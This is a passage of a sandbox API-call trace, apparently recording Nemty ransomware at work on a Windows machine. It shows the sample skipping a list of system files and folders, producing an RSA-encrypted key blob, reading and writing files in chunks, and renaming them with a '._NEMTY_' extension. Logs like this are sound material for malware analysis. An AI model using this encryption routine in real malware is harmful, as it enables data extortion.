pdwDataLen=0x653e910*=0x100) returned 1 [0094.775] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0094.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0094.775] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="045vG3MgIWmGPZaqmOpojp+ezW5APueyZ3Dkvg+DGpUAhyWoWu6lgwAg55uYGhcB\r\n/9VcSkbz4F9CRkCP9nV3wu3UPhj1/Id0U3hsiMsg8jWaoLx90ITXQmRPxi4ZFCOZ\r\nBuwbSlf7Hvdhr5rk1AylkBKau0fK3ubtL1vjzNTBGeEc5++o5Vs4+LAD+9iUKGO5\r\nKbpGDLwEQu95Chyu6NV31f+gFf7eZTAqliYbheIPINZLUR1XN8rfQiLjpRA3ZKpq\r\nUFWfPePcoM47/15JnDb5hjDI3h/GYwvHBEmhFBOMaYBMMkaFCKB4q6q2KwxOnzT+\r\nZe/DtUYtUOpGKTZ+4qm1aA==\r\n", pcchString=0x653e91c) returned 1 [0094.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0094.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0094.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0094.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0094.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0094.775] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.776] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0094.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0094.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0094.883] CloseHandle (hObject=0xffffffff) returned 0 [0094.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0094.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0094.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0094.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0094.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0094.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0094.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.883] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png._nemty_kgobjgd_")) returned 0 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.884] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2=".") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="..") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="...") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="windows") returned -1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="rsa") returned -1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="ntldr") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="IO.SYS") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="boot.ini") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="boot.ini") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="ntuser.dat") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="desktop.ini") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="RECYCLER") returned -1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="bootmgr") returned 1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="programdata") returned -1 [0094.884] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="appdata") returned 1 [0094.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0094.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Passport_PAL.wmv", lpUsedDefaultChar=0x0) returned 16 [0094.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0094.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0094.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Passport_PAL.wmv", lpUsedDefaultChar=0x0) returned 16 [0094.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0094.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0094.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Passport_PAL.wmv", lpUsedDefaultChar=0x0) returned 16 [0094.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0094.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Passport_PAL.wmv", lpUsedDefaultChar=0x0) returned 16 [0094.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0094.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0094.885] Sleep (dwMilliseconds=0x5) [0094.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec3510d0, dwHighDateTime=0x1d561e7)) [0094.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec3510d0, dwHighDateTime=0x1d561e7)) [0094.892] GetLastError () returned 0x5 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0094.893] GetLastError () returned 0x5 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.893] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0094.893] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0094.893] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0094.893] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="P+0jzOklu1pk2HvgtQhqsZj2+OYcpqEBK2PlGEpIFQ6HGgTHocCb/NpaSFCIqmm5\r\nxpXBav+MvzI5uRfcwZNRDBEAMcPzNnuIsBzeOQIpY5OOo+Vjly+DzQO0k8URK8dK\r\nnx9TYIQeFaom5nXgF1NEA2N7bx7kCwbNg1c6AYrT5pc50pXp+xFijKbRhC5sBnPJ\r\n+RLsyQVuHiXwGcfhNL2o8WwZA2dwt4BSVdHM15b+PjLo9b+rIpCi0110wNGJY7FY\r\nW65TziczoZykIQL+l2bdSn+CV24YT0BLmSM+rG9U45+5m1A05AHmVRb9OeJqnqCV\r\ngXfJ6iBE9rbaAGftsdyuZg==\r\n", pcchString=0x653e91c) returned 1 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0094.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0094.893] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.893] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0094.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0094.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 